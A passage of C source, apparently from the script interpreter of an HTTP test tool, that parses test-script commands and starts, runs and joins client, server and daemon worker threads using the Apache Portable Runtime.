@param udata IN void pointer to store * @param name IN name of variable to lookup * @param value */ static const char *global_replacer(void *udata, const char *name) { const char *val; global_replacer_t *hook = udata; val = store_get(hook->store, name); if (!val) { char *env; if (apr_env_get(&env, name, hook->ptmp) == APR_SUCCESS) { val = env; } } return val; } /** * Lookup function * * @param line IN line where the command resides * * @return command index */ static command_t *lookup_command(command_t *commands, const char *line) { int k; apr_size_t len; k = 0; /* lookup command function */ while (commands[k].name) { len = strlen(commands[k].name); if (len <= strlen(line) && strncmp(line, commands[k].name, len) == 0) { break; } ++k; } return &commands[k]; } /** * Exit program with OK|FAILED * * @param self IN command object * @param worker IN thread data object * @param data IN OK|FAILED| * * @return never reached */ static apr_status_t command_EXIT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_OPTIONAL_ARG; if (strcmp(copy, "OK") == 0) { worker_destroy(worker); exit(0); } else { worker_log(worker, LOG_ERR, "EXIT"); worker_set_global_error(worker); worker_destroy(worker); exit(1); } /* just make the compiler happy, never reach this point */ return APR_SUCCESS; } /** * Unset global success * * @param self IN thread data object */ static void worker_set_global_error(worker_t *worker) { lock(worker->mutex); success = 0; unlock(worker->mutex); } /** * Interpreter * * @param worker IN thread data object * @param parent IN caller * @param dummy IN not used, but interface definition wants that * * @return an apr status */ static apr_status_t worker_interpret(worker_t * worker, worker_t *parent, apr_pool_t *dummy) { apr_status_t status; int to; apr_table_entry_t *e = (apr_table_entry_t *) apr_table_elts(worker->lines)->elts; to = worker->cmd_to ? worker->cmd_to : apr_table_elts(worker->lines)->nelts; for (worker->cmd = worker->cmd_from; worker->cmd < to; worker->cmd++) { char *line; apr_pool_t *ptmp; apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); line = e[worker->cmd].val; if (worker_is_block(worker, line, ptmp)) { status = command_CALL(NULL, worker, line, ptmp); status = worker_check_error(parent, status); } else { int j = 0; command_t *command = lookup_command(local_commands, line); if (command->flags & COMMAND_FLAGS_LINK) { j += strlen(command->name); status = command_CALL(NULL, worker, apr_pstrcat(worker->pbody, command->syntax, " ", &line[j], NULL), ptmp); status = worker_check_error(parent, status); } else if (command->func) { j += strlen(command->name); status = command->func(command, worker, &line[j], ptmp); status = worker_check_error(parent, status); } else { status = command_CALL(NULL, worker, line, ptmp); if (!APR_STATUS_IS_ENOENT(status)) { status = worker_check_error(parent, status); } else { worker_log(worker, LOG_ERR, "%s syntax error", worker->name); worker_set_global_error(worker); status = APR_EINVAL; } } } apr_pool_destroy(ptmp); if (status != APR_SUCCESS) { return status; } } return APR_SUCCESS; } /** * Call final block if exist * * @param worker IN thread data object */ void worker_finally(worker_t *worker, apr_status_t status) { int mode; apr_status_t alt_status; alt_status = htt_run_worker_finally(worker); if (alt_status != APR_SUCCESS) { status = alt_status; } worker_finally_cleanup(worker); if (status != APR_SUCCESS) { set_threads(worker->global, 0); } else { dec_threads(worker->global); } worker_var_set(worker, "__ERROR", my_status_str(worker->pbody, status)); worker_var_set(worker, "__STATUS", apr_ltoa(worker->pbody, status)); worker_var_set(worker, "__THREAD", worker->name); if (get_threads(worker->global) == 0) { command_t *command = lookup_command(local_commands, "_CALL"); if (command->func) { mode = logger_get_mode(worker->logger); logger_set_mode(worker->logger, LOG_NONE); worker->blocks = apr_hash_get(worker->modules, "DEFAULT", APR_HASH_KEY_STRING); if (apr_hash_get(worker->blocks, "FINALLY", APR_HASH_KEY_STRING)) { command->func(command, worker, "FINALLY", NULL); } logger_set_mode(worker->logger, mode); } } if (status != APR_SUCCESS) { command_t *command = lookup_command(local_commands, "_CALL"); if (command->func) { worker->blocks = apr_hash_get(worker->modules, "DEFAULT", APR_HASH_KEY_STRING); if (apr_hash_get(worker->blocks, "ON_ERROR", APR_HASH_KEY_STRING)) { command->func(command, worker, "ON_ERROR", NULL); goto exodus; } } worker_set_global_error(worker); worker_conn_close_all(worker); exit(1); } exodus: worker_conn_close_all(worker); apr_thread_exit(worker->mythread, APR_SUCCESS); } /** * client thread * * @param thread IN thread object * @param selfv IN void pointer to thread data object * * @return an apr status */ static void * APR_THREAD_FUNC worker_thread_client(apr_thread_t * thread, void *selfv) { apr_status_t status; worker_t *worker = selfv; worker->mythread = thread; worker->flags |= FLAGS_CLIENT; worker->which = get_tot_threads(worker->global); inc_threads(worker->global); inc_tot_threads(worker->global); worker->logger = logger_clone(worker->pbody, worker->logger, worker->which); logger_set_group(worker->logger, worker->group); worker_log(worker, LOG_INFO, "%s start ...", worker->name); if ((status = worker->interpret(worker, worker, NULL)) != APR_SUCCESS) { goto error; } worker_flush(worker, worker->pbody); --worker->cmd; if ((status = worker_test_unused(worker)) != APR_SUCCESS) { goto error; } if ((status = worker_test_unused_errors(worker)) != APR_SUCCESS) { goto error; } error: worker_finally(worker, status); return NULL; } /** * daemon thread * * @param thread IN thread object * @param selfv IN void pointer to thread data object * * @return an apr status */ static void * APR_THREAD_FUNC worker_thread_daemon(apr_thread_t * thread, void *selfv) { apr_status_t status; worker_t *worker = selfv; worker->mythread = thread; worker->flags |= FLAGS_CLIENT; worker->which = get_tot_threads(worker->global); inc_tot_threads(worker->global); worker->logger = logger_clone(worker->pbody, worker->logger, worker->which); worker_log(worker, LOG_INFO, "Daemon start ..."); worker_log(worker, LOG_DEBUG, "unlock %s", worker->name); if ((status = worker->interpret(worker, worker, NULL)) != APR_SUCCESS) { goto error; } worker_flush(worker, worker->pbody); if ((status = worker_test_unused(worker)) != APR_SUCCESS) { goto error; } if ((status = worker_test_unused_errors(worker)) != APR_SUCCESS) { goto error; } error: /* no mather if there are other threads running set running threads to one */ set_threads(worker->global, 1); worker_finally(worker, status); return NULL; } /** * start single server * * @param thread IN thread object * @param worker IN void thread data object * @param threads IN number of threads * * @return an apr status */ static apr_status_t worker_run_single_server(worker_t *worker) { apr_status_t status; if ((status = worker->interpret(worker, worker, NULL)) != APR_SUCCESS) { return status; } worker_flush(worker, worker->pbody); if ((status = worker_test_unused(worker)) != APR_SUCCESS) { return status; } if ((status = worker_test_unused_errors(worker)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * server thread * * @param thread IN thread object * @param selfv IN void pointer to thread data object * * @return */ static void * APR_THREAD_FUNC worker_thread_server(apr_thread_t * thread, void *selfv) { apr_status_t status; worker_t *worker = selfv; worker->mythread = thread; worker->flags |= FLAGS_SERVER; worker->which = get_tot_threads(worker->global); inc_threads(worker->global); inc_tot_threads(worker->global); worker->logger = logger_clone(worker->pbody, worker->logger, worker->which); logger_set_group(worker->logger, worker->group); status = worker_run_single_server(worker); /* do not close listener, there may be more servers which use this * listener, signal this by setting listener to NULL */ worker->listener = NULL; worker_finally(worker, status); return NULL; } /** * start threaded servers * * @param thread IN thread object * @param worker IN void thread data object * @param threads IN number of threads * * @return an apr status */ static apr_status_t worker_run_server_threads(worker_t *worker, int threads) { apr_status_t status; apr_threadattr_t *tattr; apr_thread_t *threadl; apr_table_t *servers; apr_table_entry_t *e; worker_t *clone; int i = 0; if ((status = apr_threadattr_create(&tattr, worker->pbody)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_stacksize_set(tattr, DEFAULT_THREAD_STACKSIZE)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_detach_set(tattr, 0)) != APR_SUCCESS) { return status; } servers = apr_table_make(worker->pbody, 10); while(threads == -1 || i < threads) { worker_clone(&clone, worker); if ((status = htt_run_worker_clone(worker, clone)) != APR_SUCCESS) { return status; } clone->listener = worker->listener; worker_log(worker, LOG_DEBUG, "--- accept"); if (!worker->listener) { worker_log(worker, LOG_ERR, "Server down"); status = APR_EGENERAL; return status; } if ((status = tcp_accept(clone)) != APR_SUCCESS) { return status; } if ((status = htt_run_accept(clone, "")) != APR_SUCCESS) { return status; } worker_log(worker, LOG_DEBUG, "--- create thread"); clone->socket->socket_state = SOCKET_CONNECTED; clone->which = i; if ((status = apr_thread_create(&threadl, tattr, worker_thread_server, clone, worker->pbody)) != APR_SUCCESS) { return status; } apr_table_addn(servers, worker->name, (char *)threadl); ++i; } e = (apr_table_entry_t *) apr_table_elts(servers)->elts; for (i = 0; i < apr_table_elts(servers)->nelts; ++i) { threadl = (apr_thread_t *) e[i].val; apr_thread_join(&status, threadl); } return APR_SUCCESS; } /** * listener server thread * * @param thread IN thread object * @param selfv IN void pointer to thread data object * * @return an apr status */ static void * APR_THREAD_FUNC worker_thread_listener(apr_thread_t * thread, void *selfv) { apr_status_t status; int nolistener; char *last; char *portname; char *scope_id; char *value; int threads = 0; worker_t *worker = selfv; worker->mythread = thread; worker->flags |= FLAGS_SERVER; worker->which = get_tot_threads(worker->global); inc_threads(worker->global); inc_tot_threads(worker->global); worker->logger = logger_clone(worker->pbody, worker->logger, worker->which); logger_set_group(worker->logger, worker->group); portname = apr_strtok(worker->additional, " ", &last); worker_get_socket(worker, "Default", "0"); if ((status = htt_run_server_port_args(worker, portname, &portname, last)) != APR_SUCCESS) { goto error; } if (!portname) { worker_log(worker, LOG_ERR, "No port defined"); status = APR_EGENERAL; goto error; } nolistener = 0; value = apr_strtok(NULL, " ", &last); if (value && strcmp(value, "DOWN") != 0) { threads = apr_atoi64(value); } else if (value) { /* do not setup listener */ nolistener = 1; } else { threads = 0; } if ((status = apr_parse_addr_port(&worker->listener_addr, &scope_id, &worker->listener_port, portname, worker->pbody)) != APR_SUCCESS) { goto error; } if (!worker->listener_addr) { worker->listener_addr = apr_pstrdup(worker->pbody, APR_ANYADDR); } if (!worker->listener_port) { if (worker->socket->is_ssl) { worker->listener_port = 443; } else { worker->listener_port = 80; } } worker_log(worker, LOG_INFO, "%s start on %s%s:%d", worker->name, worker->socket->is_ssl ? "SSL:" : "", worker->listener_addr, worker->listener_port); if (!nolistener) { if ((status = worker_listener_up(worker, LISTENBACKLOG_DEFAULT)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "%s(%d)", my_status_str(worker->pbody, status), status); goto error; } } unlock(worker->sync_mutex); worker_log(worker, LOG_DEBUG, "unlock %s", worker->name); if (threads != 0) { status = worker_run_server_threads(worker, threads); } else { status = worker_run_single_server(worker); } error: worker_finally(worker, status); return NULL; } /**** * Global object ****/ /** * Create new global object * * @param global OUT new global object * @param vars IN global variable table * @param log_mode IN log mode * @param p IN pool * * @return apr status */ static apr_status_t global_new(global_t **global, store_t *vars, int log_mode, apr_pool_t *p, apr_file_t *out, apr_file_t *err, int logger_flags) { appender_t *appender; apr_status_t status; apr_thread_mutex_t *mutex; *global = apr_pcalloc(p, sizeof(global_t)); (*global)->pool = p; apr_pool_create(&(*global)->cleanup_pool, NULL); (*global)->config = apr_hash_make(p); (*global)->vars = vars; (*global)->threads = apr_table_make(p, 10); (*global)->clients = apr_table_make(p, 5); (*global)->servers = apr_table_make(p, 5); (*global)->daemons = apr_table_make(p, 5); (*global)->modules = apr_hash_make(p); (*global)->blocks = apr_hash_make(p); (*global)->files = apr_table_make(p, 5); (*global)->logger = logger_new(p, log_mode, 0); if ((status = apr_thread_mutex_create(&mutex, APR_THREAD_MUTEX_DEFAULT, (*global)->pool)) != APR_SUCCESS) { apr_file_printf(err, "\n" "Global creation: could not create sync mutex"); return status; } { appender = appender_std_new(p, out, logger_flags); appender_set_mutex(appender, mutex); logger_set_appender((*global)->logger, appender, "none", LOG_NONE, LOG_NONE); appender = appender_std_new(p, err, logger_flags); appender_set_mutex(appender, mutex); logger_set_appender((*global)->logger, appender, "err", LOG_ERR, LOG_ERR); } if (log_mode >= LOG_INFO) { appender = appender_std_new(p, out, logger_flags); appender_set_mutex(appender, mutex); logger_set_appender((*global)->logger, appender, "std", LOG_INFO, log_mode); } /* set default blocks for blocks with no module name */ apr_hash_set((*global)->modules, "DEFAULT", APR_HASH_KEY_STRING, (*global)->blocks); if ((status = apr_threadattr_create(&(*global)->tattr, (*global)->pool)) != APR_SUCCESS) { apr_file_printf(err, "\n" "Global creation: could not create thread attr"); return status; } if ((status = apr_threadattr_stacksize_set((*global)->tattr, DEFAULT_THREAD_STACKSIZE)) != APR_SUCCESS) { apr_file_printf(err, "\n" "Global creation: could not set stacksize"); return status; } if ((status = apr_threadattr_detach_set((*global)->tattr, 0)) != APR_SUCCESS) { apr_file_printf(err, "\n" "Global creation: could not set detach"); return status; } if ((status = apr_thread_mutex_create(&(*global)->sync_mutex, APR_THREAD_MUTEX_DEFAULT, p)) != APR_SUCCESS) { apr_file_printf(err, "\n" "Global creation: could not create sync mutex"); return status; } if ((status = apr_thread_mutex_create(&(*global)->mutex, APR_THREAD_MUTEX_DEFAULT, p)) != APR_SUCCESS) { apr_file_printf(err, "\n" "Global creation: could not create mutex"); return status; } (*global)->state = GLOBAL_STATE_NONE; (*global)->socktmo = 300000000; worker_new(&(*global)->worker, NULL, (*global), NULL); (*global)->worker->modules = (*global)->modules; (*global)->worker->name = apr_pstrdup(p, "__htt_global__"); (*global)->worker->logger = (*global)->logger; return APR_SUCCESS; } /** * cleanup files on exit * * @param data IN file name to remove * @return APR_SUCCESS */ static apr_status_t worker_file_cleanup(void *data) { const char *name = data; apr_pool_t *pool; apr_pool_create(&pool, NULL); apr_file_remove(name, pool); apr_pool_destroy(pool); return APR_SUCCESS; } /** * Global CLIENT command * * @param self IN global object * @param data IN additional * * @return apr status */ static apr_status_t global_END(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { int concurrent; char *last; char *val; char *name; char *called_name; worker_t *clone; apr_status_t status; /* start client server deamon */ switch (global->state) { case GLOBAL_STATE_CLIENT: global->cur_worker->group = get_tot_groups(global); inc_groups(global); if (global->file_state == GLOBAL_FILE_STATE_MODULE) { logger_log(global->logger, LOG_ERR, NULL, "CLIENT not allowed in a MODULE file"); return APR_EINVAL; } /* get number of concurrent default is 1 */ val = apr_strtok(global->cur_worker->additional, " ", &last); if (val) { concurrent = apr_atoi64(val); if (concurrent <= 0) { logger_log(global->logger, LOG_ERR, NULL, "Number of concurrent clients must be > 0"); return EINVAL; } global->cur_worker->additional = NULL; } else { concurrent = 1; } name = apr_psprintf(global->pool, "CLT%d", global->CLTs); ++global->CLTs; break; case GLOBAL_STATE_SERVER: global->cur_worker->group = get_tot_groups(global); inc_groups(global); if (global->file_state == GLOBAL_FILE_STATE_MODULE) { logger_log(global->logger, LOG_ERR, NULL, "SERVER not allowed in a MODULE file"); return APR_EINVAL; } name = apr_psprintf(global->pool, "SRV%d", global->SRVs); concurrent = 1; ++global->SRVs; break; case GLOBAL_STATE_BLOCK: /* store block */ apr_hash_set(global->blocks, global->cur_worker->name, APR_HASH_KEY_STRING, global->cur_worker); global->state = GLOBAL_STATE_NONE; return htt_run_block_end(global); break; case GLOBAL_STATE_DAEMON: if (global->file_state == GLOBAL_FILE_STATE_MODULE) { logger_log(global->logger, LOG_ERR, NULL, "DAEMON not allowed in a MODULE file"); return APR_EINVAL; } /* get number of concurrent default is 1 */ concurrent = 1; name = apr_pstrdup(global->pool, "DMN"); break; case GLOBAL_STATE_FILE: /* write file */ if ((status = worker_to_file(global->cur_worker)) != APR_SUCCESS) { worker_set_global_error(global->cur_worker); logger_log(global->logger, LOG_ERR, NULL, "Could not create %s: %s(%d)", global->cur_worker->name, my_status_str(global->pool, status), status); return status; } apr_pool_cleanup_register(global->cleanup_pool, global->cur_worker->name, worker_file_cleanup, apr_pool_cleanup_null); global->state = GLOBAL_STATE_NONE; return APR_SUCCESS; break; default: logger_log(global->logger, LOG_ERR, NULL, "Unknown close of a body definition"); return APR_ENOTIMPL; break; } /* store the workers to start them later */ global->cur_worker->filename = global->filename; while (concurrent) { clone = NULL; --concurrent; called_name = apr_psprintf(global->pool, "%s-%d", name, concurrent); global->cur_worker->name = called_name; if (concurrent) { worker_clone(&clone, global->cur_worker); } switch (global->state) { case GLOBAL_STATE_CLIENT: apr_table_addn(global->clients, called_name, (char *) global->cur_worker); break; case GLOBAL_STATE_SERVER: apr_table_addn(global->servers, called_name, (char *) global->cur_worker); break; case GLOBAL_STATE_DAEMON: apr_table_addn(global->daemons, called_name, (char *) global->cur_worker); break; } global->cur_worker = clone; } /* reset */ global->state = GLOBAL_STATE_NONE; return APR_SUCCESS; } /** * Global worker defintion * * @param self IN command * @param global IN global object * @param data IN additional * @param state IN CLIENT | SERVER * * @return apr status */ static apr_status_t global_worker(command_t *self, global_t *global, char *data, int state) { /* Client start */ global->state = state; worker_new(&global->cur_worker, data, global, worker_interpret); return APR_SUCCESS; } /** * Global CLIENT command * * @param self IN command * @param global IN global object * @param data IN additional * * @return apr status */ static apr_status_t global_CLIENT(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { apr_status_t status; status = global_worker(self, global, data, GLOBAL_STATE_CLIENT); return status; } /** * Global SERVER command * * @param self IN command * @param global IN global object * @param data IN additional * * @return apr status */ static apr_status_t global_SERVER(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { apr_status_t status; status = global_worker(self, global, data, GLOBAL_STATE_SERVER); return status; } /** * global BLOCK command * * @param self IN command object * @param worker IN global object * @param data IN name * * @return an apr status */ static apr_status_t global_BLOCK(command_t * self, global_t * global, char *data, apr_pool_t *ptmp) { apr_status_t status; char *token; char *last; int input=1; int i = 0; while (*data == ' ') ++data; /* Block start */ global->state = GLOBAL_STATE_BLOCK; if ((status = htt_run_block_start(global, &data)) == APR_ENOTIMPL) { /* Start a new worker */ worker_new(&global->cur_worker, data, global, worker_interpret); } else if (status != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Failed on block start %s(%d)", my_status_str(global->pool, status), status); return status; } /* Get params and returns */ /* create two tables for in/out vars */ /* input and output vars */ token = apr_strtok(data, " ", &last); if (token) { if (strchr(token, ':')) { logger_log(global->logger, LOG_ERR, "Char ':' is not allowed in block name \"%s\"", token); return APR_EINVAL; } global->cur_worker->name = data; } while (token) { if (strcmp(token, ":") == 0) { /* : is separator between input and output vars */ input = 0; } else { if (input) { store_set(global->cur_worker->params, apr_itoa(global->cur_worker->pbody, i), token); } else { store_set(global->cur_worker->retvars, apr_itoa(global->cur_worker->pbody, i), token); } i++; } token = apr_strtok(NULL, " ", &last); } return APR_SUCCESS; } /** * global FILE command * * @param self IN command object * @param worker IN global object * @param data IN name * * @return an apr status */ static apr_status_t global_FILE(command_t * self, global_t * global, char *data, apr_pool_t *ptmp) { while (*data == ' ') ++data; /* Block start */ global->state = GLOBAL_STATE_FILE; /* Start a new worker */ worker_new(&global->cur_worker, data, global, worker_interpret); global->cur_worker->name = data; /* open file */ return APR_SUCCESS; } /** * Global DAEMON command * * @param self IN command * @param global IN global object * @param data IN additional * * @return apr status */ static apr_status_t global_DAEMON(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { return global_worker(self, global, data, GLOBAL_STATE_DAEMON); } /** * Global EXEC command * * @param self IN command * @param global IN global object * @param data IN shell command * * @return APR_SUCCESS */ static apr_status_t global_EXEC(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { apr_status_t status; worker_t *worker; int i = 0; while (data[i] == ' ') { ++i; } worker_new(&worker, &data[i], global, worker_interpret); worker_add_line(worker, apr_psprintf(global->pool, "%s:%d", global->filename, global->line_nr), apr_pstrcat(worker->pbody, "_EXEC ", &data[i], NULL)); status = worker->interpret(worker, worker, NULL); if (status != APR_SUCCESS) { worker_set_global_error(worker); } worker_destroy(worker); return status; } /** * Global SET command * * @param self IN command * @param global IN global object * @param data IN key=value * * @return APR_SUCCESS */ static apr_status_t global_SET(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { char *last; char *key; char *val; int i = 0; while (data[i] == ' ') { ++i; } key = apr_strtok(&data[i], "=", &last); for (i = 0; key[i] != 0 && strchr(VAR_ALLOWED_CHARS, key[i]); i++); if (key[i] != 0) { logger_log(global->logger, LOG_ERR, NULL, "Char '%c' is not allowed in \"%s\"", key[i], key); success = 0; return APR_EINVAL; } val = apr_strtok(NULL, "", &last); if (val) { store_set(global->vars, key, val); } else { store_set(global->vars, key, ""); } return APR_SUCCESS; } /** * Global GLOBAL command * * @param self IN command * @param global IN global object * @param data IN key=value * * @return APR_SUCCESS */ static apr_status_t global_GLOBAL(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { char *last; char *var; int i = 0; while (data[i] == ' ') ++i; if (!global->shared) { global->shared = store_make(global->pool); } var = apr_strtok(&data[i], " ", &last); while (var) { for (i = 0; var[i] != 0 && strchr(VAR_ALLOWED_CHARS, var[i]); i++); if (var[i] != 0) { logger_log(global->logger, LOG_ERR, NULL, "Char '%c' is not allowed in \"%s\"", var[i], var); success = 0; return APR_EINVAL; } store_set(global->shared, var, ""); var = apr_strtok(NULL, " ", &last); } return APR_SUCCESS; } /** * Use to define a MODULE. Used to make a name space for BLOCKs. * * @param self IN command * @param global IN global object * @param data IN MODULE name * * @return APR_SUCCESS */ static apr_status_t global_MODULE(command_t * self, global_t * global, char *data, apr_pool_t *ptmp) { apr_hash_t *blocks; while (*data == ' ') ++data; global->file_state = GLOBAL_FILE_STATE_MODULE; if (strcmp(data, "DEFAULT") == 0) { logger_log(global->logger, LOG_ERR, NULL, "Module name \"%s\" is not allowed", data); return APR_EINVAL; } if (!(blocks = apr_hash_get(global->modules, data, APR_HASH_KEY_STRING))) { blocks = apr_hash_make(global->pool); apr_hash_set(global->modules, data, APR_HASH_KEY_STRING, blocks); } global->blocks = blocks; return APR_SUCCESS; } /** * Use to check required version for this test script. * * @param self IN command * @param global IN global object * @param data IN MODULE name * * @return APR_SUCCESS */ static apr_status_t global_REQUIRE_VERSION(command_t * self, global_t * global, char *data, apr_pool_t *ptmp) { char *major=""; char *minor=""; char *maint=""; char *version; char *v_major; char *v_minor; char *v_maint; char *last; apr_status_t status = APR_SUCCESS; apr_collapse_spaces(data, data); if ((major = apr_strtok(data, ".", &last))) { if ((minor = apr_strtok(NULL, ".", &last))) { if (!(maint = apr_strtok(NULL, ".", &last))) { status = APR_EGENERAL; } } else { status = APR_EGENERAL; } } else { status = APR_EGENERAL; } version = apr_pstrdup(ptmp, VERSION); v_major = apr_strtok(version, ".", &last); v_minor = apr_strtok(NULL, ".", &last); v_maint = apr_strtok(NULL, ".", &last); if (apr_atoi64(major) <= apr_atoi64(v_major)) { if (apr_atoi64(minor) <= apr_atoi64(v_minor)) { if (apr_atoi64(maint) > apr_atoi64(v_maint)) { status = APR_EINVAL; } } else { status = APR_EINVAL; } } else { status = APR_EINVAL; } if (APR_STATUS_IS_EGENERAL(status)) { logger_log(global->logger, LOG_ERR, NULL, "Given version \"%s\" is not valid, must be of the form " "..", data); } else if (APR_STATUS_IS_EINVAL(status)) { success = 2; exit(2); } return APR_SUCCESS; } /** * Do check if specified modules are loaded * * @param self IN command * @param global IN global object * @param data IN MODULE name * * @return APR_SUCCESS */ static apr_status_t global_REQUIRE_MODULE(command_t * self, global_t * global, char *data, apr_pool_t *ptmp) { char *last; char *module; module = apr_strtok(data, " ", &last); while (module) { if (!apr_hash_get(global->modules, module, APR_HASH_KEY_STRING)) { success = 2; exit(2); } module = apr_strtok(NULL, " ", &last); } return APR_SUCCESS; } /** * Global PATH command * * @param self IN command * @param global IN global object * @param data IN path string * * @return APR_SUCCESS */ static apr_status_t global_PATH(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { char **argv; my_tokenize_to_argv(data, &argv, global->pool, 0); global->path = argv[0]; return APR_SUCCESS; } /** * Global INCLUDE command * * @param self IN command * @param global IN global object * @param data IN relative to caller or absolut path * * @return APR_SUCCESS or APR_ENOENT if no include file found */ static apr_status_t interpret_recursiv(apr_file_t *fp, global_t *global); static apr_status_t global_INCLUDE(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { apr_status_t status; apr_file_t *fp; const char *prev_filename; char **argv; int i; status = APR_ENOENT; my_tokenize_to_argv(data, &argv, global->pool, 0); for (i = 0; argv[i] != NULL; i++) { if (argv[i][0] == '/' || global->path == NULL) { if ((status = apr_file_open(&fp, argv[i], APR_READ, APR_OS_DEFAULT, global->pool)) == APR_SUCCESS) { break; } } else if (global->path) { char *last; char *cur; char *path = apr_pstrdup(global->pool, global->path); cur = apr_strtok(path, ":", &last); while (cur) { char *file = apr_pstrcat(global->pool, cur, "/", argv[i], NULL); if ((status = apr_file_open(&fp, file, APR_READ, APR_OS_DEFAULT, global->pool)) == APR_SUCCESS) { break; } cur = apr_strtok(NULL, ":", &last); } } } if (status != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Include file %s not found", data); return APR_ENOENT; } prev_filename = global->filename; global->filename = argv[i]; ++global->recursiv; status = interpret_recursiv(fp, global); --global->recursiv; if (!(global->blocks = apr_hash_get(global->modules, "DEFAULT", APR_HASH_KEY_STRING))) { logger_log(global->logger, LOG_ERR, NULL, "DEFAULT module not found?!\n"); return APR_EGENERAL; } global->file_state = GLOBAL_FILE_STATE_NORMAL; global->filename = prev_filename; apr_file_close(fp); return status; } /** * Global TIMEOUT command * * @param self IN command * @param global IN global object * @param data IN timeout (starting spaces are possible) * * @return APR_SUCCESS */ static apr_status_t global_TIMEOUT(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { int i = 0; while (data[i] == ' ') { ++i; } global->socktmo = 1000 * apr_atoi64(&data[i]); return APR_SUCCESS; } /** * Global AUTO_CLOSE command * * @param self IN command * @param global IN global object * @param data IN timeout (starting spaces are possible) * * @return APR_SUCCESS */ static apr_status_t global_AUTO_CLOSE(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { int i = 0; while (data[i] == ' ') { ++i; } if (strcasecmp(&data[i], "on") == 0) { global->flags |= FLAGS_AUTO_CLOSE; } else { global->flags &= ~FLAGS_AUTO_CLOSE; } return APR_SUCCESS; } /** * Global START command starts all so far defined threads * * @param self IN command * @param global IN global object * @param data IN unused * * @return APR_SUCCESS */ static apr_status_t global_START(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { apr_status_t status; apr_table_entry_t *e; int i; worker_t *worker; apr_thread_t *thread; /* create all daemons first */ e = (apr_table_entry_t *) apr_table_elts(global->daemons)->elts; for (i = 0; i < apr_table_elts(global->daemons)->nelts; ++i) { worker = (void *)e[i].val; if ((status = apr_thread_create(&thread, global->tattr, worker_thread_daemon, worker, global->pool)) != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Could not create deamon thread"); return status; } } apr_table_clear(global->daemons); /* create all servers */ e = (apr_table_entry_t *) apr_table_elts(global->servers)->elts; for (i = 0; i < apr_table_elts(global->servers)->nelts; ++i) { lock(global->sync_mutex); worker = (void *)e[i].val; status = htt_run_server_create(worker, worker_thread_listener, &thread); if (status == APR_ENOTHREAD || status == APR_ENOTIMPL) { if ((status = apr_thread_create(&thread, global->tattr, worker_thread_listener, worker, global->pool)) != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Could not create server thread"); return status; } } else if (status != APR_SUCCESS) { return status; } apr_table_addn(global->threads, worker->name, (char *) thread); } apr_table_clear(global->servers); /* create clients */ lock(global->sync_mutex); unlock(global->sync_mutex); e = (apr_table_entry_t *) apr_table_elts(global->clients)->elts; for (i = 0; i < apr_table_elts(global->clients)->nelts; ++i) { worker = (void *)e[i].val; status = htt_run_client_create(worker, worker_thread_client, &thread); if (status == APR_ENOTHREAD || status == APR_ENOTIMPL) { if ((status = apr_thread_create(&thread, global->tattr, worker_thread_client, worker, global->pool)) != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Could not create client thread"); return status; } } else if (status != APR_SUCCESS) { return status; } if (thread) { apr_table_addn(global->threads, worker->name, (char *) thread); } } apr_table_clear(global->clients); /* notify start threads */ e = (apr_table_entry_t *) apr_table_elts(global->threads)->elts; for (i = 0; i < apr_table_elts(global->threads)->nelts; ++i) { thread = (apr_thread_t *) e[i].val; status = htt_run_thread_start(global, thread); if (status != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Could not start thread: %d", status); return status; } } return APR_SUCCESS; } /** * Global JOIN command waits for all started threads except DAEMONs * * @param self IN command * @param global IN global object * @param data IN unused * * @return APR_SUCCESS */ static apr_status_t global_JOIN(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { apr_status_t status; apr_table_entry_t *e; int i; apr_thread_t *thread; /* join all started threads */ e = (apr_table_entry_t *) apr_table_elts(global->threads)->elts; for (i = 0; i < apr_table_elts(global->threads)->nelts; ++i) { apr_status_t retstat; thread = (apr_thread_t *) e[i].val; status = htt_run_thread_join(global, thread); if (status == APR_ENOTHREAD || status == APR_ENOTIMPL) { if ((retstat = apr_thread_join(&status, thread))) { logger_log(global->logger, LOG_ERR, NULL, "Could not join thread: %d", retstat); return retstat; } } else if (status != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Could not join thread: %d", status); return status; } } apr_table_clear(global->threads); global->groups = 0; htt_run_worker_joined(global); return APR_SUCCESS; } /** * Global GO command start all threads which are declared so far and wait * until all threads except DAEMON threads do have terminated. * * @param self IN command * @param global IN global object * @param data IN unused * * @return APR_SUCCESS */ static apr_status_t global_GO(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { apr_status_t status = global_START(self, global, data, ptmp); if (status == APR_SUCCESS) { status = global_JOIN(self, global, data, ptmp); } return status; } /** * Global EXIT command for graceful script termination * until all threads except DAEMON threads do have terminated. * * @param self IN command * @param global IN global object * @param data IN unused * * @return APR_SUCCESS */ static apr_status_t global_EXIT(command_t *self, global_t *global, char *data, apr_pool_t *ptmp) { if (success) { exit(0); } else { exit(1); } /* never reach this point */ return APR_ENOTIMPL; } /** * Recursiv interpreter. Can handle recursiv calls to with sub files i.e. INCLUDE. * * @param fp IN current open file * @param global IN global context * * @return apr status */ static apr_status_t interpret_recursiv(apr_file_t *fp, global_t *global) { apr_status_t status; bufreader_t *bufreader; char *line; int i; int line_nr; global_replacer_t *replacer_hook; replacer_hook = 